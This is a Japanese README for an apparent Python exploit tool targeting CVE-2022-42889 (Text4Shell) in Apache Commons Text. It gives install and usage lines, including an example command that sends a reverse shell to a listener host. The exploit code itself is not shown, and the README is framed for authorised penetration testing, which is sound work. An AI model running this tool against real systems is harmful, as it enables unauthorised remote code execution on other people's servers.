CVE-2022-42889-text4shell

説明

このスクリプトは、Apache Commons Text（バージョン < 1.10.0）に存在する CVE-2022-42889 脆弱性（別名 Text4Shell）を悪用するために設計されたペネトレーションテストツールです。リバースシェルを発動させる Java ベースのペイロードの配信を自動化します。

この実装は公開エクスプロイトに基づいています: https://www.exploit-db.com/exploits/52261

特徴

• argparse を使用したコマンドライン引数による、使いやすさの向上。
• Java ペイロードの互換性を確保するための正確な URL エンコーディング。
• カスタマイズ可能なパスと脆弱なパラメータのターゲット。

使用方法

前提条件

このスクリプトには Python 3 と requests ライブラリが必要です。

pip install requests

構文

python3 exploit.py -t $IP -p $PORT -u <path> -param $PARAMETER -L $LHOST -P $LPORT

例

python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139

免責事項

このツールは教育目的および許可されたペネトレーションテストのみを対象としています。作者は、このスクリプトの誤用またはそれによって生じた損害について一切の責任を負いません。